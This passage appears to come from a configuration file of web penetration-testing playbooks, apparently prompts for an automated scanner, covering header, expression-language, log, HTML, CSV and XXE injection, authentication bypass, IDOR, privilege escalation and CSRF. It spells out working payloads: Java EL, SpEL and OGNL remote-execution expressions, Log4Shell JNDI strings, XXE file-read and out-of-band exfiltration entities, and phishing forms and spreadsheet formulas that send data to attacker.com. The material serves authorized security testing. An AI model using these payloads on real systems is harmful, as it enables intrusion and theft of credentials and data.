"Password reset link contains attacker-controlled domain",
|
||
"Cache stores and serves the poisoned response",
|
||
"Negative control: original Host header produces correct links"
|
||
],
|
||
"chain_attacks": ["Host header → Password reset hijacking → Account takeover", "Host header → Cache poisoning → Mass XSS"],
|
||
"anti_false_positive": [
|
||
"Host header reflected in error page may be low-impact info disclosure",
|
||
"Must demonstrate exploitable impact (reset hijack, cache poison), not just reflection",
|
||
"Test if CDN/cache actually stores the poisoned response"
|
||
]
|
||
},
|
||
|
||
"email_injection": {
|
||
"category": "injection",
|
||
"title": "Email Header Injection / SMTP Injection",
|
||
"overview": "User input in email functionality (contact forms, password reset) without CRLF sanitization allows injection of additional email headers (CC, BCC) or modification of email content.",
|
||
"threat_model": "Attacker injects email headers to send spam, add BCC recipients for data exfiltration, or modify email content for phishing attacks through the application's email functionality.",
|
||
"discovery": [
|
||
"Find email-sending features: contact forms, referral, share, password reset",
|
||
"Inject CRLF in name/email/subject fields: value%0d%0aBcc: attacker@evil.com",
|
||
"Test newline injection in message body fields"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Email Header Injection",
|
||
"prompts": [
|
||
"In email fields (From, Subject, To), inject: value%0d%0aBcc: attacker@evil.com. If email is received at attacker address, header injection is confirmed.",
|
||
"Try adding CC: value%0d%0aCc: attacker@evil.com. Check for email receipt.",
|
||
"Try modifying Subject: value%0d%0aSubject: Modified Subject. Check if subject changes in received email.",
|
||
"Try injecting additional MIME content: value%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Phishing</h1>. This could modify email body.",
|
||
"Test with different newline encodings: %0a, %0d%0a, \\n, \\r\\n."
|
||
],
|
||
"expected_results": ["Additional recipients added", "Email content modified", "Spam sending capability"],
|
||
"decision_tree": {
|
||
"bcc_injection": "HIGH - Email data exfiltration",
|
||
"content_injection": "MEDIUM - Phishing via legitimate domain",
|
||
"subject_injection": "LOW - Header manipulation",
|
||
"no_injection": "Email library properly handles headers"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["URL encode CRLF: %0d%0a", "Unicode newlines: %E2%80%A8, %E2%80%A9", "Bare LF: %0a only", "Double encode: %250d%250a"],
|
||
"verification_checklist": [
|
||
"Email received at injected address (BCC/CC confirmation)",
|
||
"Modified headers appear in received email source",
|
||
"Negative control: normal email sends without extra headers"
|
||
],
|
||
"chain_attacks": ["Email injection → Spam relay", "Email injection → Phishing via trusted domain", "Email injection → Password reset to attacker email"],
|
||
"anti_false_positive": [
|
||
"Must confirm email actually sent with injected headers",
|
||
"Application may sanitize at the email library level even if input isn't filtered",
|
||
"Check received email headers, not just absence of error"
|
||
]
|
||
},
|
||
|
||
"expression_language_injection": {
|
||
"category": "injection",
|
||
"title": "Expression Language (EL) Injection",
|
||
"overview": "User input evaluated by server-side expression language (Java EL, Spring SpEL, OGNL). Test for expression evaluation in Java/Spring applications that can lead to RCE.",
|
||
"threat_model": "Attacker injects expression language syntax that gets evaluated server-side in Java applications, leading to information disclosure or remote code execution.",
|
||
"discovery": [
|
||
"Test ${7*7} in parameters — if response contains 49, EL evaluation confirmed",
|
||
"Test #{7*7} for Spring SpEL",
|
||
"Test %{7*7} for OGNL (Struts)",
|
||
"Look for Java/Spring/Struts technology stack"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "EL Detection & Engine Identification",
|
||
"prompts": [
|
||
"Test EL evaluation: inject ${7*7} in each parameter. If response contains 49, Java EL is being evaluated.",
|
||
"Test SpEL: #{7*7} and #{T(java.lang.Math).random()}. If random number appears, SpEL is active.",
|
||
"Test OGNL: %{7*7} and %{#context}. Common in Apache Struts applications.",
|
||
"Check for class access: ${applicationScope}, #{request.getClass()}, %{#_memberAccess}.",
|
||
"Identify Java application server from error messages or headers (Tomcat, WebLogic, JBoss)."
|
||
],
|
||
"expected_results": ["Expression evaluated (49 appears)", "EL engine identified"],
|
||
"decision_tree": {
|
||
"el_evaluated": "Proceed to Phase 2 - RCE exploitation",
|
||
"error_reveals_engine": "Target specific engine with known RCE payloads",
|
||
"no_evaluation": "May have CSP or expression language disabled"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "RCE via Expression Language",
|
||
"prompts": [
|
||
"Java EL RCE: ${Runtime.getRuntime().exec('id')} or ${\"'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('id')}.",
|
||
"SpEL RCE: #{T(java.lang.Runtime).getRuntime().exec('id')} or #{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\\\A').next()}.",
|
||
"OGNL RCE: %{(#rt=@java.lang.Runtime@getRuntime().exec('id'))} or the classic Struts2 S2-045/S2-046 payloads.",
|
||
"If direct class access blocked, try reflection: ${Class.forName('java.la'+'ng.Runtime')}.",
|
||
"For output capture: wrap in Scanner or BufferedReader to read command output from InputStream."
|
||
],
|
||
"expected_results": ["RCE achieved via expression language", "Command output captured"],
|
||
"decision_tree": {
|
||
"rce_confirmed": "CRITICAL - Full server compromise",
|
||
"info_disclosure_only": "HIGH - Sensitive data via EL",
|
||
"sandbox_restricted": "Test sandbox escape techniques"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"String concatenation to bypass blocklists: 'java.la'+'ng.Runtime'",
|
||
"Reflection-based access to bypass direct class restrictions",
|
||
"Unicode encoding of EL delimiters",
|
||
"Alternative EL syntax: T() for SpEL, @ for OGNL",
|
||
"Nested expressions to bypass depth-1 filters"
|
||
],
|
||
"verification_checklist": [
|
||
"Mathematical expression produces correct result in response",
|
||
"RCE command output matches expected system information",
|
||
"Negative control: non-EL input returns without evaluation",
|
||
"Different expressions produce different results (not cached)"
|
||
],
|
||
"chain_attacks": ["EL injection → RCE → Full server compromise", "EL injection → File read → Credential theft"],
|
||
"anti_false_positive": [
|
||
"Template rendering '49' for unrelated reasons != EL injection",
|
||
"Must prove server-side evaluation, not client-side JavaScript",
|
||
"Distinguish from SSTI — EL injection is specific to Java EL/SpEL/OGNL"
|
||
]
|
||
},
|
||
|
||
"log_injection": {
|
||
"category": "injection",
|
||
"title": "Log Injection / Log Forging",
|
||
"overview": "User input written to application logs without sanitization. Inject newlines to forge log entries, inject ANSI escape sequences for terminal exploitation, or inject JNDI lookup strings (Log4Shell).",
|
||
"threat_model": "Attacker forges log entries to cover tracks, inject misleading entries, exploit log viewers with ANSI/terminal escape sequences, or trigger Log4j JNDI lookups for RCE.",
|
||
"discovery": [
|
||
"Identify user input that appears in logs (login attempts, search queries, error messages)",
|
||
"Inject newlines: value%0aINFO: Fake log entry",
|
||
"Test JNDI: ${jndi:ldap://attacker.com/a}",
|
||
"Test ANSI: \\x1b[31mRED\\x1b[0m"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Log Injection & Log4Shell Detection",
|
||
"prompts": [
|
||
"Inject newline + fake log entry: username=admin%0a[INFO] Login successful for admin from 127.0.0.1. Check if log file shows the forged entry.",
|
||
"Test Log4Shell (CVE-2021-44228): inject ${jndi:ldap://COLLABORATOR/a} in every parameter, header, and user-agent. If DNS callback received, Log4j JNDI lookup is active.",
|
||
"Try Log4Shell bypass variants: ${${lower:j}ndi:ldap://COLLAB/a}, ${j${::-n}di:ldap://COLLAB/a}, ${${env:NaN:-j}ndi:ldap://COLLAB/a}.",
|
||
"Test ANSI escape injection for terminal exploit: inject \\x1b]2;evil_title\\x07 to change terminal title when admin views logs.",
|
||
"Test in all input vectors: headers, cookies, path segments, JSON fields, multipart filenames."
|
||
],
|
||
"expected_results": ["Forged log entries", "JNDI callback received", "ANSI escape processed"],
|
||
"decision_tree": {
|
||
"jndi_callback": "CRITICAL - Log4Shell RCE vector confirmed",
|
||
"log_forging": "LOW - Document log integrity issue",
|
||
"ansi_escape": "LOW-MEDIUM - Terminal exploitation possible",
|
||
"no_injection": "Logs properly sanitized"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Log4Shell nested lookups: ${${lower:j}ndi:...}",
|
||
"URL encoding of newlines and special chars",
|
||
"Unicode newlines for log forging",
|
||
"Log4j environment variable lookups: ${env:AWS_SECRET_ACCESS_KEY}"
|
||
],
|
||
"verification_checklist": [
|
||
"JNDI: DNS/LDAP callback received at collaborator",
|
||
"Log forging: fake entry appears as separate log line",
|
||
"Multiple JNDI variants tested for thoroughness",
|
||
"Negative control: non-JNDI input doesn't trigger callback"
|
||
],
|
||
"chain_attacks": ["Log4Shell → JNDI → LDAP → RCE", "Log injection → Cover tracks → Persistent access"],
|
||
"anti_false_positive": [
|
||
"DNS callback could be from other JNDI sources, not just Log4j",
|
||
"Verify the specific input that triggered the callback",
|
||
"Log forging requires admin access to verify (may be blind)"
|
||
]
|
||
},
|
||
|
||
"html_injection": {
|
||
"category": "client_side",
|
||
"title": "HTML Injection",
|
||
"overview": "User input rendered as HTML in response without XSS (no script execution due to CSP or context). Can still be used for phishing, content spoofing, and dangling markup attacks.",
|
||
"threat_model": "Attacker injects HTML to create fake login forms (phishing), modify page content (defacement), or use dangling markup to exfiltrate data via img/form action to external domain.",
|
||
"discovery": [
|
||
"Test for HTML tag injection without script: <b>bold</b>, <h1>test</h1>",
|
||
"If tags render but script is blocked (CSP), it's HTML injection",
|
||
"Test in parameters, headers reflected in page"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "HTML Injection & Exploitation",
|
||
"prompts": [
|
||
"Inject <h1>Injected</h1> — if rendered as a heading, HTML injection confirmed.",
|
||
"Inject fake login form: <form action='http://attacker.com/steal'><h2>Session Expired - Please Login</h2><input name='user' placeholder='Username'><input name='pass' type='password' placeholder='Password'><button>Login</button></form>.",
|
||
"Dangling markup attack: <img src='http://attacker.com/steal? to capture everything after the injection point until the next quote/tag close as part of the URL.",
|
||
"Test <base href='http://attacker.com/'> to redirect all relative URLs to attacker domain.",
|
||
"Test <meta http-equiv='refresh' content='0;url=http://attacker.com'> for redirect injection."
|
||
],
|
||
"expected_results": ["HTML renders in page", "Fake forms displayed", "Dangling markup exfiltrates data"],
|
||
"decision_tree": {
|
||
"html_renders": "CONFIRMED - Document phishing/spoofing impact",
|
||
"form_renders": "HIGH - Credential phishing possible",
|
||
"dangling_markup_works": "HIGH - Data exfiltration via markup",
|
||
"html_encoded": "Not vulnerable to HTML injection"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Use HTML tags that don't require script: form, img, base, meta, input",
|
||
"Dangling markup needs no closing tag - uses browser's error recovery",
|
||
"Base tag hijack redirects all relative URLs"
|
||
],
|
||
"verification_checklist": [
|
||
"Injected HTML renders visually in the page",
|
||
"Fake form would convincingly deceive a user",
|
||
"Dangling markup captures expected data in URL",
|
||
"Distinguish from XSS - no JavaScript execution"
|
||
],
|
||
"chain_attacks": ["HTML injection → Credential phishing", "HTML injection → Dangling markup → Data exfiltration"],
|
||
"anti_false_positive": [
|
||
"HTML in response source but not rendered != HTML injection",
|
||
"Must render visually in browser context",
|
||
"If CSP blocks both inline script AND form-action, impact is very limited"
|
||
]
|
||
},
|
||
|
||
"csv_injection": {
|
||
"category": "injection",
|
||
"title": "CSV Injection / Formula Injection",
|
||
"overview": "User input included in exported CSV/Excel files without sanitization. Inject spreadsheet formulas (=CMD, +CMD, @SUM, -CMD) that execute when opened in Excel/Sheets.",
|
||
"threat_model": "Attacker submits formula payloads (=cmd|'/c calc'!A1) via application input. When admin exports data to CSV and opens in Excel, the formula executes commands or exfiltrates data.",
|
||
"discovery": [
|
||
"Find export/download CSV features",
|
||
"Submit input starting with =, +, -, @ in fields that appear in exports",
|
||
"Test: =cmd|'/c calc'!A1 for Windows command execution",
|
||
"Test: =HYPERLINK(\"http://attacker.com/?\"&A1&B1,\"Click\") for data exfiltration"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Formula Injection in Exports",
|
||
"prompts": [
|
||
"Submit =1+1 in a field that appears in CSV exports. Download the CSV and open in Excel. If cell shows 2 instead of =1+1, formula injection works.",
|
||
"Test command execution: =cmd|'/c calc'!A1 (Windows), =-cmd('id') (DDE). These may trigger security warnings in modern Excel.",
|
||
"Test data exfiltration: =HYPERLINK(\"http://attacker.com/steal?data=\"&A2&\"&\"&B2, \"Click here\") — when user clicks the link, data from adjacent cells is sent to attacker.",
|
||
"Test in multiple export formats: CSV, XLS, XLSX, TSV, ODS.",
|
||
"Try bypass: prefix with tab/space that gets trimmed, or use different formula triggers: @SUM, +cmd, -cmd, \\tcmd."
|
||
],
|
||
"expected_results": ["Formula evaluates in spreadsheet", "Command execution or data exfiltration possible"],
|
||
"decision_tree": {
|
||
"formula_evaluates": "CONFIRMED - Document formula injection",
|
||
"dde_executes": "HIGH - Command execution via DDE",
|
||
"hyperlink_exfiltrates": "MEDIUM - Data exfiltration requires user interaction",
|
||
"formulas_escaped": "Not vulnerable (proper CSV escaping)"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Tab/space prefix that gets trimmed before export",
|
||
"Different formula triggers: =, +, -, @, \\t=",
|
||
"DDE variants: =DDE(\"cmd\",\"/c calc\",\"\")",
|
||
"Newline in cell to split across rows"
|
||
],
|
||
"verification_checklist": [
|
||
"Formula evaluates when CSV is opened in spreadsheet application",
|
||
"Command execution confirmed (calc.exe opens, or DNS callback)",
|
||
"Data exfiltration link sends cell data to external URL",
|
||
"Test with current Excel version (modern versions warn about DDE)"
|
||
],
|
||
"chain_attacks": ["CSV injection → DDE → Command execution", "CSV injection → Hyperlink → Data theft"],
|
||
"anti_false_positive": [
|
||
"Modern Excel warns about DDE — impact depends on user clicking 'Enable'",
|
||
"Google Sheets doesn't execute DDE — test with actual Excel",
|
||
"Formula injection with no export feature is not exploitable"
|
||
]
|
||
},
|
||
|
||
"xxe": {
|
||
"category": "injection",
|
||
"title": "XML External Entity (XXE) Injection",
|
||
"overview": "Application parses XML input without disabling external entities. Inject DTD declarations to read local files, perform SSRF, or achieve RCE via expect:// wrapper.",
|
||
"threat_model": "Attacker injects XML with external entity declarations to read server files (/etc/passwd, application configs), scan internal network (SSRF), exfiltrate data out-of-band, or execute commands.",
|
||
"discovery": [
|
||
"Identify XML input: SOAP, XML APIs, file uploads (DOCX/XLSX/SVG), RSS feeds",
|
||
"Inject: <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root>&xxe;</root>",
|
||
"Check for XML parsing errors revealing entity processing",
|
||
"Test Content-Type: application/xml on JSON endpoints"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "XXE Detection & File Read",
|
||
"prompts": [
|
||
"Submit XML with external entity: <?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root>&xxe;</root>. If /etc/passwd content appears, XXE confirmed.",
|
||
"If JSON endpoint, change Content-Type to application/xml and send equivalent XML payload. Some frameworks auto-parse XML.",
|
||
"Test parameter entities for blind XXE: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM 'http://COLLABORATOR/xxe'>%xxe;]>. If callback received, blind XXE works.",
|
||
"For file exfiltration via OOB: <!DOCTYPE foo [<!ENTITY % file SYSTEM 'file:///etc/passwd'><!ENTITY % eval '<!ENTITY % exfil SYSTEM \"http://COLLAB/?data=%file;\">'>%eval;%exfil;]>.",
|
||
"Test via file uploads: embed XXE in DOCX (docProps/core.xml), XLSX (xl/workbook.xml), SVG (<svg xmlns='...'><text>&xxe;</text></svg>)."
|
||
],
|
||
"expected_results": ["File content in response", "OOB callback with file data", "SSRF via XXE"],
|
||
"decision_tree": {
|
||
"file_read_direct": "CONFIRMED - Direct XXE file read",
|
||
"oob_callback_with_data": "CONFIRMED - Blind XXE with data exfiltration",
|
||
"oob_callback_no_data": "Partial XXE - can trigger requests but data extraction blocked",
|
||
"no_entity_processing": "XXE protections in place"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "XXE Escalation",
|
||
"prompts": [
|
||
"SSRF via XXE: <!ENTITY xxe SYSTEM 'http://169.254.169.254/latest/meta-data/'>. Access cloud metadata, internal services.",
|
||
"PHP expect:// for RCE: <!ENTITY xxe SYSTEM 'expect://id'>. Only works if expect module is loaded.",
|
||
"Billion Laughs DoS: <!ENTITY lol 'lol'><!ENTITY lol2 '&lol;&lol;&lol;...'>. Test server resilience (carefully).",
|
||
"Read binary files via PHP base64 wrapper: <!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/etc/passwd'>.",
|
||
"Error-based extraction: force XML parsing error that includes file content in error message."
|
||
],
|
||
"expected_results": ["Internal service access via SSRF", "RCE via expect://", "Binary file extraction"],
|
||
"decision_tree": {
|
||
"ssrf_via_xxe": "HIGH - Internal access via XXE",
|
||
"rce_via_expect": "CRITICAL - Remote code execution",
|
||
"dos_confirmed": "MEDIUM - Denial of service"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Content-Type switch: JSON → XML",
|
||
"File upload vectors: DOCX, XLSX, SVG, GPX",
|
||
"Parameter entities for blind XXE when direct entities blocked",
|
||
"UTF-16 encoding to bypass WAF XML signature detection",
|
||
"XInclude: <xi:include href='file:///etc/passwd'/> when DOCTYPE is blocked"
|
||
],
|
||
"verification_checklist": [
|
||
"File content matches known file format (/etc/passwd has root:x:0:0)",
|
||
"OOB callback includes file data (not just DNS resolution)",
|
||
"SSRF accesses internal resources not available externally",
|
||
"Negative control: XML without entity doesn't return file content"
|
||
],
|
||
"chain_attacks": ["XXE → File read → Credential extraction", "XXE → SSRF → Cloud metadata", "XXE → expect:// → RCE"],
|
||
"anti_false_positive": [
|
||
"XML parsing error != XXE (just poor error handling)",
|
||
"OOB DNS callback without data exfiltration is partial XXE, not full",
|
||
"File content must be actual server file, not example/default content"
|
||
]
|
||
},
|
||
|
||
# ═══════════════════════════════════════════════════════════
|
||
# CHAPTER 3: AUTHENTICATION & ACCESS CONTROL (21-35)
|
||
# ═══════════════════════════════════════════════════════════
|
||
|
||
"auth_bypass": {
|
||
"category": "authentication",
|
||
"title": "Authentication Bypass",
|
||
"overview": "Circumventing authentication mechanisms through parameter manipulation, forced browsing, default credentials, session prediction, or authentication logic flaws.",
|
||
"threat_model": "Attacker accesses authenticated functionality without valid credentials by exploiting logic flaws, missing auth checks, or predictable tokens.",
|
||
"discovery": [
|
||
"Access authenticated endpoints directly without session/token",
|
||
"Test default credentials against admin panels",
|
||
"Check for authentication on all API endpoints (not just UI)",
|
||
"Test parameter-based auth bypass: admin=true, role=admin, authenticated=1"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Authentication Mechanism Analysis",
|
||
"prompts": [
|
||
"Map all endpoints requiring authentication. For each, remove the auth token/cookie and check if access is granted. Missing auth checks = forced browsing bypass.",
|
||
"Test default credentials on admin/management interfaces: admin/admin, admin/password, root/root, test/test, admin/changeme. Check known defaults for the technology stack.",
|
||
"Test parameter manipulation: add admin=true, role=admin, isAdmin=1, debug=1, internal=true to authenticated requests. Some apps use insecure client-side role checking.",
|
||
"Test HTTP method switching: if GET /admin returns 403, try POST, PUT, DELETE, PATCH, OPTIONS, HEAD on /admin. Different methods may bypass auth middleware.",
|
||
"Test path traversal bypass: /admin../accessible-page, /./admin, /admin%00, /ADMIN (case sensitivity), /admin/ (trailing slash), /admin;anything (Tomcat path parameter)."
|
||
],
|
||
"expected_results": ["Unauthenticated access to protected resources", "Default credentials work", "Auth bypass via parameter/path manipulation"],
|
||
"decision_tree": {
|
||
"direct_access_works": "CRITICAL - No authentication on protected endpoint",
|
||
"default_creds_work": "HIGH - Default credentials accepted",
|
||
"param_bypass": "HIGH - Client-side or parameter-based auth bypass",
|
||
"method_bypass": "HIGH - Auth only on specific HTTP methods"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Session & Token Analysis",
|
||
"prompts": [
|
||
"Analyze session tokens for predictability: collect 10+ tokens, check for sequential patterns, timestamps, or weak randomness. Use Burp Sequencer or manual analysis.",
|
||
"Test session fixation: set a known session ID before authentication. If the same session ID is used after login, session fixation is possible.",
|
||
"Check JWT tokens: decode with base64 and check for: alg:none attack, weak secret (crack with hashcat/john), missing expiration, role in payload that can be modified.",
|
||
"Test race conditions in auth: send login request simultaneously from two threads with different credentials. Check if session mixing occurs.",
|
||
"Test 2FA bypass: skip the 2FA step by directly accessing post-2FA endpoints, or reuse 2FA codes, or brute-force 4-6 digit codes."
|
||
],
|
||
"expected_results": ["Predictable session tokens", "Session fixation", "JWT manipulation", "2FA bypass"],
|
||
"decision_tree": {
|
||
"predictable_tokens": "HIGH - Session prediction attack possible",
|
||
"session_fixation": "HIGH - Attacker can fix victim's session",
|
||
"jwt_manipulation": "CRITICAL - Token forging possible",
|
||
"2fa_bypass": "HIGH - Second factor circumvented"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"HTTP method switching: GET→POST, POST→PUT",
|
||
"Path manipulation: /admin → /ADMIN, /admin/, /admin;.css, /admin%00",
|
||
"Header injection: X-Original-URL, X-Rewrite-URL",
|
||
"JWT alg:none: change algorithm to 'none', remove signature",
|
||
"Session token prediction from sequential/timestamp-based generation",
|
||
"Default credentials from vendor documentation"
|
||
],
|
||
"verification_checklist": [
|
||
"Accessed protected resource/data WITHOUT valid credentials",
|
||
"Data returned is actual protected content, not error/redirect",
|
||
"Compare authenticated vs bypass response - should match",
|
||
"Negative control: truly invalid access returns 401/403"
|
||
],
|
||
"chain_attacks": ["Auth bypass → Admin access → Full application control", "Auth bypass → Data access → Credential extraction"],
|
||
"anti_false_positive": [
|
||
"302 redirect to login page != auth bypass (check final response)",
|
||
"Empty 200 response != authenticated access (check for actual data)",
|
||
"Must demonstrate access to PROTECTED data/functionality, not just HTTP 200"
|
||
]
|
||
},
|
||
|
||
"bola": {
|
||
"category": "authorization",
|
||
"title": "Broken Object Level Authorization (BOLA/IDOR)",
|
||
"overview": "Application exposes object references (IDs) in API/URL without verifying the requesting user is authorized to access that specific object. Test by changing ID values to access other users' objects.",
|
||
"threat_model": "Attacker modifies object IDs in requests to access, modify, or delete other users' data. Most common API vulnerability (OWASP API #1).",
|
||
"discovery": [
|
||
"Identify all API endpoints with object IDs: /api/users/{id}, /api/orders/{id}",
|
||
"Create two test accounts with different objects",
|
||
"Try accessing Account B's objects using Account A's session"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "IDOR Detection via Data Comparison",
|
||
"prompts": [
|
||
"Create two accounts (userA, userB) with different data. Log in as userA. Access userA's objects: GET /api/users/userA_id. Note the response.",
|
||
"With userA's session, request userB's objects: GET /api/users/userB_id. Compare the response DATA (not just status code). If you get userB's actual data, BOLA confirmed.",
|
||
"CRITICAL: Compare the DATA CONTENT, not just HTTP status. A 200 response with userA's own data or an error message is NOT BOLA. Must see userB's specific data.",
|
||
"Test across ALL CRUD operations: GET (read), PUT/PATCH (modify), DELETE (remove). Even if read-IDOR fails, write-IDOR may work.",
|
||
"Test with different ID formats: numeric (1, 2, 3), UUID, email, username. Try sequential IDs, ID+1, ID-1.",
|
||
"Check for indirect object references: /api/files/{filename}, /api/invoices/{invoice_number}. Predictable references are IDOR-prone."
|
||
],
|
||
"expected_results": ["Other user's data returned (confirmed by data comparison)", "Able to modify/delete other user's objects"],
|
||
"decision_tree": {
|
||
"other_users_data_returned": "CONFIRMED BOLA - Document the specific data accessed",
|
||
"own_data_returned_regardless": "Authorization check may remap ID to authenticated user",
|
||
"403_or_404": "Authorization check exists for this endpoint",
|
||
"200_but_empty_or_error": "NOT BOLA - Check response content carefully"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Advanced IDOR Techniques",
|
||
"prompts": [
|
||
"Test parameter pollution: /api/users?id=myid&id=otherid. Some frameworks use the second parameter.",
|
||
"Test in JSON body: {\"user_id\": \"other_id\"} even if the URL doesn't have the ID.",
|
||
"Test GraphQL: query {user(id:\"other_id\") {name, email, ssn}}.",
|
||
"Test array parameters: /api/users?ids[]=myid&ids[]=otherid to fetch multiple objects including unauthorized ones.",
|
||
"Test BFLA (function-level): userA calls admin-only endpoints. GET /api/admin/users, POST /api/users/otherid/role.",
|
||
"Test mass assignment: register with {\"username\":\"new\",\"role\":\"admin\"} to escalate privileges."
|
||
],
|
||
"expected_results": ["IDOR via parameter pollution", "BFLA confirmed", "Mass assignment works"],
|
||
"decision_tree": {
|
||
"advanced_idor": "CONFIRMED - Document the specific technique",
|
||
"bfla_confirmed": "HIGH - Horizontal or vertical privilege escalation",
|
||
"mass_assignment": "HIGH - Role/permission manipulation"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"ID type confusion: numeric vs UUID vs base64-encoded",
|
||
"Parameter pollution: duplicate ID parameters",
|
||
"Wrapped object references: {\"user\": {\"id\": OTHER_ID}}",
|
||
"GraphQL field access with different user context",
|
||
"Array parameter injection: ids[]=my_id&ids[]=other_id"
|
||
],
|
||
"verification_checklist": [
|
||
"Response contains OTHER USER'S data (compare field values, not just status)",
|
||
"Multiple objects tested (not just one lucky match)",
|
||
"Data comparison done: userA data != userB data in response",
|
||
"Write operations verified: modification actually persists for other user",
|
||
"Negative control: own data request returns correctly"
|
||
],
|
||
"chain_attacks": ["BOLA → Mass data theft", "BOLA → Account takeover via email/password change", "BOLA → Delete other users' data"],
|
||
"anti_false_positive": [
|
||
"200 status code alone does NOT confirm BOLA — must check DATA content",
|
||
"Application may remap any ID to the authenticated user's data (safe)",
|
||
"Empty response body with 200 is NOT BOLA",
|
||
"Must prove access to ANOTHER user's specific data"
|
||
]
|
||
},
|
||
|
||
"privilege_escalation": {
|
||
"category": "authorization",
|
||
"title": "Privilege Escalation (Vertical)",
|
||
"overview": "Lower-privileged user accesses higher-privileged functionality. Test by using a regular user's session to access admin/manager endpoints or modify role assignments.",
|
||
"threat_model": "Regular user escalates to admin by accessing admin endpoints, modifying role claims in tokens, or exploiting missing role checks on sensitive operations.",
|
||
"discovery": [
|
||
"Map admin-only functionality (user management, settings, reports)",
|
||
"Access admin endpoints with regular user session",
|
||
"Check for role information in JWT/cookies that can be modified",
|
||
"Test API endpoints discovered via JS/docs that aren't in the regular UI"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Vertical Privilege Escalation",
|
||
"prompts": [
|
||
"Log in as admin, map all admin-only endpoints and functionality. Log in as regular user, attempt to access each admin endpoint with the regular user's session.",
|
||
"Compare responses: does the regular user get actual admin data/functionality or just a 403? Check DATA content, not just status codes.",
|
||
"Test role modification: PUT /api/users/myid with {\"role\": \"admin\"} or {\"isAdmin\": true}. Check if role change persists.",
|
||
"Check JWT claims: decode the JWT, modify role/admin claims, re-encode. If no signature verification or using alg:none, forged token works.",
|
||
"Test hidden admin parameters: add admin=true, _admin=1, role=admin, group=administrators to any request.",
|
||
"Check for GraphQL mutations that modify roles: mutation { updateUserRole(userId: \"myid\", role: ADMIN) { role } }."
|
||
],
|
||
"expected_results": ["Admin functionality accessed as regular user", "Role modified successfully", "JWT forged with admin claims"],
|
||
"decision_tree": {
|
||
"admin_access_granted": "CRITICAL - Vertical privilege escalation confirmed",
|
||
"role_modified": "CRITICAL - Self-promotion to admin",
|
||
"partial_access": "HIGH - Some admin functions lack authorization",
|
||
"all_properly_restricted": "Authorization checks working correctly"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"JWT manipulation: change role claim, use alg:none, crack weak secret",
|
||
"Cookie role modification: decode and change role value",
|
||
"Hidden parameter injection: admin=true, role=admin",
|
||
"HTTP method switching on admin endpoints",
|
||
"Path traversal: /user/../admin/endpoint"
|
||
],
|
||
"verification_checklist": [
|
||
"Admin-only data/actions accessible with regular user session",
|
||
"Role change persists (not just reflected in response)",
|
||
"Data comparison confirms admin-level data (not user-level subset)",
|
||
"Multiple admin functions tested, not just one endpoint"
|
||
],
|
||
"chain_attacks": ["Privilege escalation → Full admin access → Data exfiltration → User management"],
|
||
"anti_false_positive": [
|
||
"Admin endpoint returning 200 with generic message != escalation",
|
||
"Must verify admin-level DATA or ACTIONS are accessible",
|
||
"Role change in response but not in database = cosmetic, not real"
|
||
]
|
||
},
|
||
|
||
"csrf": {
|
||
"category": "client_side",
|
||
"title": "Cross-Site Request Forgery (CSRF)",
|
||
"overview": "Application performs state-changing operations without verifying the request originated from the application. Test by crafting cross-origin requests that execute privileged actions.",
|
||
"threat_model": "Attacker creates malicious page that makes requests to target app using victim's authenticated session. Victim visits attacker page and unknowingly performs actions (password change, email change, fund transfer).",
|
||
"discovery": [
|
||
"Check for CSRF tokens in forms and AJAX requests",
|
||
"Check SameSite cookie attribute",
|
||
"Check for custom header requirements (X-CSRF-Token, X-Requested-With)",
|
||
"Test if state-changing operations use GET (always CSRF-vulnerable)"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "CSRF Protection Analysis",
|
||
"prompts": [
|
||
"For each state-changing endpoint (password change, email change, profile update, settings), check: is there a CSRF token? Is SameSite=Strict/Lax set on session cookie? Is a custom header required?",
|
||
"If CSRF token exists: test removing the token entirely, using an empty token, using a token from a different session, using a token from a different endpoint. Some implementations are broken.",
|
||
"If no CSRF token: craft an HTML form that auto-submits to the target endpoint: <form action='TARGET' method='POST'><input name='param' value='evil'></form><script>document.forms[0].submit()</script>.",
|
||
"For JSON endpoints: test if the endpoint accepts application/x-www-form-urlencoded. If yes, CSRF is possible even for JSON APIs.",
|
||
"Check SameSite=Lax bypass: GET requests with state-changing effects, or POST via <form> with method override (_method=POST).",
|
||
